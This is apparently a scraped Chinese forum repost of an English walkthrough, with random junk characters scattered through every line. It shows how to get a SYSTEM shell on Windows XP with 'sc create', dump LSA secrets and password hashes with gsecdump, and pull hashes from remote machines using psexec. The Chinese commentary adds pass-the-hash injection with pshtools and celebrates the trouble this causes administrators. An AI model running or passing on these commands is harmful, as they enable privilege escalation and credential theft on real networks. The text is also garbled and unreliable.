o get a DOS Prompt as NT system:! I0 G8 i0 m. j
, I4 q" i' _2 e3 H( e' M' @$ @C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
# b% F' N5 \* d4 c6 d/ t[SC] CreateService SUCCESS
6 V9 R; E( w) J/ A
* `% ]* r9 C; w; oC:\>sc start shellcmdline' `7 y$ t+ n) Y
[SC] StartService FAILED 1053:; K' V1 {$ l& [6 E
9 k" q) e; s; C+ A! s5 rThe service did not respond to the start or control request in a timely fashion./ r; ~3 O0 s+ C3 z" t( Z/ b9 C
: b% e( S' K/ q& X7 j9 f% B
C:\>sc delete shellcmdline
5 v/ |- D( n+ P/ W h[SC] DeleteService SUCCESS
3 u3 z( w X- Z7 a0 B$ i( u* U* v% F: M5 K' }: I. G) G% {
------------
! v3 z. N! N4 m* K, Q, X/ C1 \ o5 v/ C+ |
Then in the new DOS window:* |* H: I# B3 C7 V7 I4 H
2 r2 ?+ n' V! [ x) NMicrosoft Windows XP [Version 5.1.2600]
}4 ~6 t% W& x, e, [: L* I8 h" S(C) Copyright 1985-2001 Microsoft Corp.4 n9 U! P2 ]5 N6 I9 X
" C* g+ d1 e a' c7 yC:\WINDOWS\system32>whoami p- c. o; k) _# r& }
NT AUTHORITY\SYSTEM7 f: x+ q% ?5 ~, ^
; G/ U& q6 P8 f4 h; @C:\WINDOWS\system32>gsecdump -h& K) \2 T8 J6 s4 {& L. \+ g8 ?" B* V
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)# Q9 N/ q/ S9 O/ @1 ?
usage: gsecdump [options]9 t% B% K" Z8 H4 m% Q3 P
8 \4 J! ?- L2 B1 c$ v* h! | d
options:4 u8 \8 R( Z3 l" M2 V" D: T: S; f
-h [ --help ] show help, u3 j, v8 `/ N+ W2 ^
-a [ --dump_all ] dump all secrets" @1 k, r( b) i
-l [ --dump_lsa ] dump lsa secrets
3 U' [* U) Q8 x7 O4 z3 f-w [ --dump_wireless ] dump microsoft wireless connections
* A5 \3 v/ ^ z- E/ }7 M-u [ --dump_usedhashes ] dump hashes from active logon sessions
' a# S1 }6 j/ d' D-s [ --dump_hashes ] dump hashes from SAM/AD
6 s+ G) W |2 g/ v" m7 G
/ ]- y" k3 D( EAlthough I like to use:5 p: a- w6 z5 J6 Y
0 ]6 ^5 I& F% R+ N# NPsExec v1.83 - Execute processes remotely: A6 B+ N" d0 U) [' z2 f: Z
Copyright (C) 2001-2007 Mark Russinovich6 l4 g u8 U. ]2 r3 W& y9 S
Sysinternals - 链接标记[url]www.sysinternals.com[/url]. }8 Z3 p" } i& `0 @5 S- Z& b) ]
8 L" t0 h3 ?% ~, a# I
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT
- V+ q' D# Z0 K( v j
3 Q7 X$ @' Z$ b* B! Kto get the hashes from active logon sessions of a remote system.! c* N0 Y7 W. P+ b7 _, F: Q/ s
4 j0 A2 h6 w& m" B3 u& u
These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.0 y s2 N6 S9 x+ x2 n" T7 g- q
4 C& J2 ^ q1 f# X: G# q提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
7 u, H0 m# p( q4 V7 A- b0 Z- C原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]" y6 F0 p- D. D
/ B1 @) ^, z6 q我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。) A, j& y8 e& |5 Z+ K: o `, w
|